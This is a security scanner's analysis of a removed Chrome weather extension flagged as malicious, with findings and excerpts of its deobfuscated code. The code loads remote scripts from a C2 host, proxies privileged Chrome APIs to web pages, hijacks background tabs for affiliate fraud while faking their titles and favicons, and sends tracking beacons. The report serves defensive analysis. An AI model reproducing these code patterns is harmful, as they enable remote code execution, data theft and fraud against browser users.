天气

ID: fmlpbbognkocpajihchioognkmdeeldo

Could be malicious

Supported Languages

🇨🇳Chinese (Simplified)

Extension Info & Metadata

Status
Removed
Version
1.0.2
Size
0.97 MB
Rating
1.0/5
Reviews
1
Users
935,983
Type
Extension
Updated
Nov 24, 2022
Category
6_news
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
jinhui.xu002View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
2
Unlisted
0
Total Users
935,984

浏览器中查看天气预报的最佳方式

浏览器中查看天气预报,可以自定义想要查看的城市,支持全球所有城市。

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
geolocation
Permission
High
This permission accesses precise device location. Rated High because it can track user movements, identify physical locations, and compromise user privacy.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

This content script, injected into every page via <all_urls>, creates a message bridge that relays any webpage's postMessage directly to the background worker (bypassing Chrome's security boundary), and then checks if the browser locale starts with 'zh' (Chinese). If so, it injects scriptMain.bundle.js into the page, which then fetches and executes a remote JavaScript payload from https://utq.vvipquan.com/wt/mv3/js/r.bundle.js. This is a classic remote code loading pattern gated behind a language check to target Chinese-speaking users.

ct.bundle.js (Line 1)
(() => {    "use strict";    const t = "wttianqi",      e = "https://utq.vvipquan.com/wt";    window.addEventListener("message", (e => {      let a = e.data;      a.p == t && "tobg" == a.cmd && chrome.runtime.sendMessage(a.data, (t => {        a.cb && window.postMessage({          cmd: "ctcb",          cb: a.cb,          data: t        })      }))    }));    if (navigator.language.match("^zh")) {      let a = document.createElement("script");      a.src = chrome.runtime.getURL("/scriptMain.bundle.js"), a.dataset.pname = t, a.dataset.assetPath = `${e}/mv3/js/`, document.body.appendChild(a)    }

This script constructs a URL pointing to an external server (https://utq.vvipquan.com/wt/mv3/js/r.bundle.js) with a cache-busting timestamp, creates a TrustedTypes policy to bypass CSP protections, then appends a script tag to execute the remote code in the context of every page the user visits. The remote script r.bundle.js is not included in the extension package and can be changed at any time by the attacker-controlled server without any Chrome Web Store review.

scriptMain.bundle.js (Line 1)
(() => {  "use strict";  const e = "wttianqi";  ! function() {    let t, c = document.querySelector(`[data-pname="${e}"]`),      r = document.createElement("script");    window.trustedTypes && window.trustedTypes.createPolicy && (t = window.trustedTypes.createPolicy(e, {      createScriptURL: e => e    }));    let n = `${c.dataset.assetPath}r.bundle.js?t=${(new Date).getTime()}`;    r.src = t ? t.createScriptURL(n) : n, r.charset = "UTF-8";    let s = document.querySelector("script");    s = s ? s.getAttribute("nonce") : "", s && r.setAttribute("nonce", s), document.body.appendChild(r)  }()})();

The background service worker exposes a generic Chrome API proxy: any message with cmd='chrome' can pass an arbitrary dotted API path (e.g. 'tabs.query', 'cookies.getAll', 'history.search') and arbitrary parameters, and the background will call that API and return the result to the sender. Combined with the ct.bundle.js message bridge, any web page can invoke any privileged Chrome API (read all cookies, browsing history, capture all tabs, etc.) by simply posting a message with the extension's namespace string 'wttianqi'.

uv3/background.js (Line 19)
case "chrome": let a = t.fun.split("."),  o = chrome,  u = chrome;a.forEach(((e, t) => {  o = o[e], t == a.length - 2 && (u = o)})), o.apply(u, t.params).then(n);break;

A dedicated 'jdTask' module silently redirects background browser tabs to URLs provided in 'jdRules' rules (which are downloaded from the C2 server). It targets tabs with index >= 4 (background tabs), redirects them, then restores the original URL after a random 5-10 second delay — a classic affiliate cookie-stuffing or ad fraud technique that loads JD.com (Chinese e-commerce) or other pages to claim referral commissions without user awareness.

uv3/background.js (Line 19)
function r(e) {  chrome.tabs.update(n.id, {    url: e  }), i.currentTask = "jdTask", clearTimeout(t), t = setTimeout((function() {    n && !n.stayTime && chrome.tabs.get(n.id, (e => {      e.url != n.url && n && chrome.tabs.update(n.id, {        url: n.url      })    }))  }), 5e3 + parseInt(5e3 * Math.random()))}...init: function(t) {  i = t, chrome.storage.local.get("jdRules", (t => {    e = t.jdRules || []  })), chrome.runtime.onMessage.addListener(((e, t, n) => ("dojd" == e.cmd && this.check(t.tab, e.data) && r(e.data), !0)))}

The background service worker accepts a 'regct' message and calls chrome.scripting.registerContentScripts with caller-supplied script definitions. Via the message bridge in ct.bundle.js, the remote server can push new content scripts (specifying any URL match pattern, JS code, run_at timing) and have them injected into any page the user visits — effectively a persistent content script installation mechanism controlled remotely.

uv3/background.js (Line 19)
case "regct": chrome.scripting.unregisterContentScripts({  ids: t.data.map((e => e.id))}, (() => {  chrome.runtime.lastError && (chrome.runtime.lastError = null), chrome.scripting.registerContentScripts(t.data)}))

The extension loads declarativeNetRequest rules from chrome.storage (seeded by the C2 server) and applies them dynamically via updateDynamicRules and updateSessionRules. It also registers a webRequest.onBeforeRequest listener to temporarily remove and re-apply session rules when main-frame loads occur, allowing it to intercept, redirect, or block any web request. The rules themselves are received from the remote server at https://utq.vvipquan.com/pmcnox/mdtsoen.htm.

uv3/background.js (Line 19)
chrome.declarativeNetRequest.updateDynamicRules({    addRules: e  })  ...  chrome.declarativeNetRequest.updateSessionRules({    addRules: e.rules5.rules  }), chrome.webRequest.onBeforeRequest.addListener((t => {    chrome.declarativeNetRequest.updateSessionRules({      removeRuleIds: ...    }), setTimeout((() => {      chrome.declarativeNetRequest.updateSessionRules({        addRules: e.rules5.rules      })    }), 5e3)  }), {    urls: e.rules5.urls,    types: ["main_frame"]  })

The extension hardcodes a primary C2 server (https://utq.vvipquan.com) and a backup (http://g.yhquan365.cn) for delivering redirect rules, remote JS payloads, and affiliate monetization API calls. The obfuscated endpoint paths (/pmcnox/mdtsoen.htm, /pmcnox/zomqdg.htm) and the use of .htm extensions for dynamic API endpoints are anti-analysis evasion techniques. Having a backup C2 server demonstrates infrastructure redundancy designed to survive takedowns.

uv3/background.js (Line 19)
assetsServer: "https://utq.vvipquan.com/wt", server: "https://utq.vvipquan.com", ruleServer: "https://utq.vvipquan.com", ruleMidPath: "/pmcnox", rulePath: "/pmcnox/mdtsoen.htm", rulePath2: "/pmcnox/xceinqa.htm", jrServer: "https://utq.vvipquan.com", mnyApi: "/pmcnox/zomqdg.htm", ...bak: {  server: "http://g.yhquan365.cn",  ...rulePath: "/bp/czntyt.htm",  ...mnyApi: "/bp/zfgctwn.htm"}

When a tab is being hijacked, the extension injects a script that overwrites the page's document.title and favicon with those of the captured 'host' tab, making the redirected page visually indistinguishable from the original. This is a deception mechanism that conceals the tab hijacking from the user by making the redirected tab appear to still show its original site.

uv3/background.js (Line 19)
mainTabUpate: function(t, r, i) {    chrome.scripting.executeScript({      target: {        tabId: t      },      func: function(e, t) {        document.title = e;        var r = document.querySelector("link[rel~='icon']");        r || ((r = document.createElement("link")).rel = "icon", document.getElementsByTagName("head")[0].appendChild(r)), r.href = t, document.body.inMainTabUse = !0      },      args: [n.title, n.favIconUrl]    });

On every install/start, the extension generates or retrieves a persistent UUID (uid) and client identifier (cl), records install timestamp, and immediately fires a background tracking beacon (bgTj) to the C2 server at https://utq.vvipquan.com/xndkwo.gif — sending the unique user ID, client label, days since install, and extension ID. This creates a persistent user profile on the attacker's server without user consent or disclosure.

uv3/background.js (Line 19)
let c = {  uid: t,  cl: r,  t: n,  extId: chrome.runtime.id};a.userConfig = c, a.bgTj(), chrome.storage.local.set({  userConfig: c});...i.tj = function(e, r) {  i.fetch(t.jrServer + "/" + e + ".gif", r)}, i.bgTj = function() {  i.tj(t.btj)}, i.pageTj = function() {  i.tj(t.atj)}

The manifest exposes all extension resources (/*) to all URLs (<all_urls>). This allows any webpage to reference any file inside the extension package (including scriptMain.bundle.js) via chrome-extension:// URLs, which is the mechanism exploited by ct.bundle.js to bootstrap the remote code loading chain. A legitimate weather extension has no need for this blanket exposure.

manifest.json (Line 1)
{  "web_accessible_resources": [    {      "resources": [        "/*"      ],      "matches": [        "<all_urls>"      ]    }  ]}

By severity

Critical7
High2
Medium1
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.210

Files with findings

4 distinct paths — top paths by unique finding count:

  • uv3/background.js7
  • ct.bundle.js1
  • manifest.json1
  • scriptMain.bundle.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
uv3/background.js (line 19)The extension hardcodes a primary C2 server (https://utq.vvipquan.com) and a backup (http://g.yhquan365.cn) for delivering redirect rules, remote JS payloads, and affiliate monetization API calls. The obfuscated endpo…
2Network Interception
critical
uv3/background.js (line 19)The extension loads declarativeNetRequest rules from chrome.storage (seeded by the C2 server) and applies them dynamically via updateDynamicRules and updateSessionRules. It also registers a webRequest.onBeforeRequest …
3Privilege Escalation
critical
uv3/background.js (line 19)The background service worker exposes a generic Chrome API proxy: any message with cmd='chrome' can pass an arbitrary dotted API path (e.g. 'tabs.query', 'cookies.getAll', 'history.search') and arbitrary parameters, a…
4Remote Code Loading
critical
ct.bundle.js (line 1)This content script, injected into every page via <all_urls>, creates a message bridge that relays any webpage's postMessage directly to the background worker (bypassing Chrome's security boundary), and then checks if…
5Remote Code Loading
critical
scriptMain.bundle.js (line 1)This script constructs a URL pointing to an external server (https://utq.vvipquan.com/wt/mv3/js/r.bundle.js) with a cache-busting timestamp, creates a TrustedTypes policy to bypass CSP protections, then appends a scri…
6Remote Code Loading
critical
uv3/background.js (line 19)The background service worker accepts a 'regct' message and calls chrome.scripting.registerContentScripts with caller-supplied script definitions. Via the message bridge in ct.bundle.js, the remote server can push new…
7Unauthorized Data Collection
critical
uv3/background.js (line 19)A dedicated 'jdTask' module silently redirects background browser tabs to URLs provided in 'jdRules' rules (which are downloaded from the C2 server). It targets tabs with index >= 4 (background tabs), redirects them, …
8Code Injection
high
uv3/background.js (line 19)When a tab is being hijacked, the extension injects a script that overwrites the page's document.title and favicon with those of the captured 'host' tab, making the redirected page visually indistinguishable from the …
9Tracking
high
uv3/background.js (line 19)On every install/start, the extension generates or retrieves a persistent UUID (uid) and client identifier (cl), records install timestamp, and immediately fires a background tracking beacon (bgTj) to the C2 server at…
10Privilege Escalation
medium
manifest.json (line 1)The manifest exposes all extension resources (/*) to all URLs (<all_urls>). This allows any webpage to reference any file inside the extension package (including scriptMain.bundle.js) via chrome-extension:// URLs, whi…
URLs
47
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fontawesome.com-https://fontawesome.com
fontawesome.com/license/freehttps://fontawesome.com/license/free
daneden.me/animatehttp://daneden.me/animate
opensource.org/licenses/MIThttp://opensource.org/licenses/MIT
utq.vvipquan.com/wthttps://utq.vvipquan.com/wt
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/tiff/1.0/http://ns.adobe.com/tiff/1.0/
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceRefhttp://ns.adobe.com/xap/1.0/sType/ResourceRef#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
Showing 1 to 10 of 50 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

1.0.0.0
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
1.0.2
Latest
0.97 MB
Malicious
10
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.